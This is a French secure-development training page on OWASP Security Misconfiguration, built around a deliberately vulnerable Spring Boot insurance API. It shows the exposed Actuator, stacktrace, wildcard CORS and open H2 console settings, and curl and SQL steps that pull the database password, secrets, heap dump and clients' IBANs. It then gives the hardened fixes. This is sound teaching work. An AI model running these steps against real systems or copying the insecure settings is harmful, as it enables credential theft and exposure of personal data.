AppSec|Formation Développement Sécurisé
← Retour aux cas
02
A02:2025

Security Misconfiguration

Java 17 · Spring Boot · Actuator

Endpoints Actuator exposés, stacktraces Java en clair dans les erreurs, CORS configuré en *.

Cas n°2 — A02:2025 Security Misconfiguration

ansible-playbook -i inventory.ini playbook.yml --tags switch -e project=02
ansible-playbook -i inventory.ini playbook.yml --tags switch -e project=02 -e variant=secure

Référence OWASP

Catégorie A02:2025 - Security Misconfiguration
Stack Java 17, Spring Boot 3.2, Spring Security, H2 embedded
Lancement mvn spring-boot:run (dans vulnerable/ ou secure/)

démos vidéo

Etape Démo
Application vulnérable, déploiement 02_vulnerable_01_deploy.mp4
Application vulnérable, exploit 02_vulnerable_02_demo.mp4
Application sécurisée, déploiement 02_secure_01_deploy.mp4
Application sécurisée, tentative d'exploit 02_secure_02_demo.mp4

Scénario métier

Application de gestion des contrats d'assurance Assuria. L'API expose des endpoints REST pour consulter et gérer les contrats. La configuration par défaut de Spring Boot n'a pas été durcie, ce qui expose l'application à plusieurs vecteurs d'attaque.

Données de test

Utilisateur Login Mot de passe Rôle
Admin admin admin123 ADMIN
Gestionnaire gestionnaire gest123 GESTIONNAIRE

Les 4 vulnérabilités démontrées

1. Endpoints Spring Boot Actuator exposés sans authentification

Spring Boot Actuator est un module intégré à Spring Boot qui fournit des endpoints HTTP prêts à l'emploi pour surveiller et administrer une application en production. On peut le voir comme un tableau de bord technique exposé via des URL.

Concrètement, quand tu ajoutes la dépendance spring-boot-starter-actuator dans ton pom.xml, ton application expose automatiquement un ensemble de routes sous le préfixe /actuator/. Chaque route correspond à une fonctionnalité de monitoring ou de diagnostic : vérifier que l'application est en vie, consulter sa configuration, observer ses métriques de performance, etc.

C'est un outil pensé pour les équipes d'exploitation (ops/devops) : il permet par exemple à un load balancer de vérifier que l'application répond via /actuator/health, ou à un outil de monitoring comme Prometheus de collecter des métriques via /actuator/metrics.

Le problème de sécurité survient quand ces endpoints sont exposés sans restriction en production. Ils sont conçus pour un usage interne d'administration, mais si un développeur ne durcit pas la configuration, ils deviennent accessibles à n'importe qui sur Internet. C'est exactement ce que démontre le cas n°2 du projet : un attaquant peut lire les mots de passe en mémoire, télécharger le heap dump, ou cartographier toutes les routes de l'API, simplement en appelant ces URL avec un curl.

En résumé : c'est un outil légitime et très utile, mais qui doit impérativement être protégé (authentification, restriction réseau, exposition minimale) dès qu'on sort de l'environnement de développement local.

Fichier vulnérable : vulnerable/src/main/resources/application.yml

management:
  endpoints:
    web:
      exposure:
        include: "*"       # TOUS les endpoints exposés
  endpoint:
    env:
      show-values: ALWAYS  # Valeurs des propriétés en clair

Les endpoints /actuator/env, /actuator/heapdump, /actuator/beans, /actuator/mappings sont accessibles sans authentification et révèlent :

  • Le mot de passe de la base de données (spring.datasource.password)
  • Les clés API et secrets JWT applicatifs
  • Le heap dump (données en mémoire : contrats, IBAN, sessions actives)
  • La liste complète des routes et beans Spring

2. Stacktraces Java exposées dans les réponses d'erreur

Fichier vulnérable : vulnerable/src/main/resources/application.yml

server:
  error:
    include-stacktrace: ALWAYS    # Stacktrace complète dans la réponse HTTP
    include-message: ALWAYS       # Message d'exception brut
    include-exception: true       # Nom de la classe d'exception

Une requête avec un paramètre invalide retourne la stacktrace complète :

{
  "status": 400,
  "error": "Bad Request",
  "exception": "org.springframework.web.method.annotation.MethodArgumentTypeMismatchException",
  "trace": "org.springframework.web.method.annotation.MethodArgumentTypeMismatchException: ...\n\tat cc.appsec.secmisconfig.controller.ContratController.getContrat(ContratController.java:28)\n\t..."
}

Cette réponse révèle les noms de classes internes, les versions des librairies, et la structure du code source.


3. CORS trop permissif

Fichier vulnérable : vulnerable/src/main/java/cc/appsec/secmisconfig/config/CorsConfig.java

registry.addMapping("/**")
        .allowedOrigins("*")   // Tous les domaines autorisés
        .allowedMethods("*")   // Toutes les méthodes HTTP
        .allowedHeaders("*");  // Tous les headers

N'importe quel site web peut effectuer des requêtes cross-origin vers l'API et lire les données retournées, y compris en passant des headers d'authentification.


4. Console H2 accessible sans restriction

Fichier vulnérable : vulnerable/src/main/resources/application.yml

spring:
  h2:
    console:
      enabled: true
      settings:
        web-allow-others: true  # Accessible depuis toutes les IP

La console H2 est accessible à /h2-console sans authentification spécifique. Avec les credentials trouvés via /actuator/env, un attaquant peut exécuter du SQL directement sur la base de données.


Exploitation — Scénario pas-à-pas

Prérequis

Lancer la version vulnérable :

cd vulnerable
mvn spring-boot:run

Exécuter le script d'exploitation complet

Linux/macOS :

chmod +x exploit/exploit.sh
./exploit/exploit.sh

Windows :

exploit\exploit.bat

Exploitation manuelle

Étape 1 — Vol de credentials via Actuator

# Lire toutes les variables d'environnement
curl https://appsec.cc/actuator/env

# Extraire le mot de passe BDD directement
curl https://appsec.cc/actuator/env/spring.datasource.password

# Réponse :
# {"property":{"source":"Config resource...","value":"motdepasse_secret_bdd_assuria2024"}}

# Récupérer la clé API
curl https://appsec.cc/actuator/env/app.api-key

# Récupérer le secret JWT
curl https://appsec.cc/actuator/env/app.jwt-secret

# Cartographier toutes les routes de l'application
curl https://appsec.cc/actuator/mappings

# Télécharger le heap dump (peut contenir sessions, IBAN, données en clair)
curl https://appsec.cc/actuator/heapdump -o heapdump.bin

Étape 2 — Exploitation de la stacktrace

# Déclencher une erreur avec un ID invalide (pas de Basic Auth requis pour voir l'erreur)
curl -u gestionnaire:gest123 https://appsec.cc/api/contrats/abc

La réponse contient la stacktrace complète avec les noms de classes et numéros de ligne.

Étape 3 — Accès direct à la base via console H2

  1. Ouvrir https://appsec.cc/h2-console dans le navigateur
  2. Renseigner :
    • JDBC URL : jdbc:h2:mem:assuriadb
    • User Name : sa
    • Password : motdepasse_secret_bdd_assuria2024 (trouvé à l'étape 1)
  3. Exécuter :
    SELECT * FROM UTILISATEURS;
    -- → Affiche les mots de passe en clair et les emails
    
    SELECT * FROM CONTRATS;
    -- → Affiche les IBAN des assurés en clair
    

Étape 4 — Exploit CORS depuis un domaine tiers

# Servir la page d'exploit sur un port différent (simule un domaine tiers)
cd exploit
python3 -m http.server 9090        # Linux/macOS
python -m http.server 9090         # Windows

Ouvrir http://localhost:9090/cors-exploit.html et cliquer sur les boutons. La page effectue des requêtes cross-origin vers localhost:8080 qui sont autorisées grâce à allowedOrigins("*").


Correctif — Version sécurisée (secure/)

1. Actuator restreint et authentifié

management:
  endpoints:
    web:
      exposure:
        include: health,info   # Seuls health et info sont exposés
  endpoint:
    env:
      show-values: NEVER       # Les valeurs sont masquées
    health:
      show-details: WHEN_AUTHORIZED
// SecurityConfig.java — Les endpoints Actuator nécessitent le rôle ADMIN
.requestMatchers("/actuator/health").permitAll()
.requestMatchers("/actuator/**").hasRole("ADMIN")

Avant :

curl https://appsec.cc/actuator/env
# → {"propertySources":[{"name":"...","properties":{"spring.datasource.password":{"value":"motdepasse_secret"}}}]}

Après :

curl https://appsec.cc/actuator/env
# → 401 Unauthorized

curl -u admin:admin123 https://appsec.cc/actuator/env
# → {"propertySources":[{"name":"...","properties":{"spring.datasource.password":{"value":"******"}}}]}

2. Stacktraces masquées + gestionnaire d'erreurs générique

server:
  error:
    include-stacktrace: NEVER
    include-message: NEVER
    include-exception: false
@RestControllerAdvice
public class GlobalExceptionHandler {
    @ExceptionHandler(Exception.class)
    public ResponseEntity<Map<String, String>> handleAll(Exception e) {
        log.error("Erreur interne", e); // Log côté serveur uniquement
        return ResponseEntity.status(500)
            .body(Map.of("error", "Une erreur interne est survenue. Veuillez contacter le support."));
    }
}

Avant :

{"exception": "MethodArgumentTypeMismatchException", "trace": "cc.appsec...ContratController.java:28..."}

Après :

{"error": "Une erreur interne est survenue. Veuillez contacter le support."}

3. CORS restrictif

registry.addMapping("/api/**")
        .allowedOrigins("https://assuria-assurances.fr")  // Domaine spécifique uniquement
        .allowedMethods("GET", "POST", "PUT")           // Méthodes nécessaires seulement
        .allowedHeaders("Authorization", "Content-Type")
        .allowCredentials(true)
        .maxAge(3600);

Test :

curl -H "Origin: http://attaquant.com" https://appsec.cc/api/contrats
# Version vulnérable → Access-Control-Allow-Origin: *
# Version sécurisée  → pas de header Access-Control-Allow-Origin (origine bloquée)

4. Console H2 désactivée

spring:
  h2:
    console:
      enabled: false
// Double protection dans SecurityConfig.java
.requestMatchers("/h2-console/**").denyAll()

Comparaison des résultats

Vecteur Version vulnérable Version sécurisée
GET /actuator/env 200 — credentials en clair 401 Unauthorized
GET /actuator/heapdump 200 — fichier téléchargeable 404 Not Found
GET /api/contrats/abc 500 — stacktrace complète 500 — message générique
GET /h2-console 200 — accès direct BDD 403 Forbidden
Requête cross-origin Autorisée depuis * Bloquée (origine inconnue)

Principes de sécurité appliqués

  1. Principe du moindre privilège — n'exposer que le strict minimum nécessaire au fonctionnement
  2. Défense en profondeur — plusieurs couches de protection (config YAML + Spring Security)
  3. Séparation des environnements — la config de dev ne doit jamais aller en production
  4. Ne jamais exposer d'informations techniques aux utilisateurs finaux
  5. Sécuriser les outils d'administration ou les désactiver en production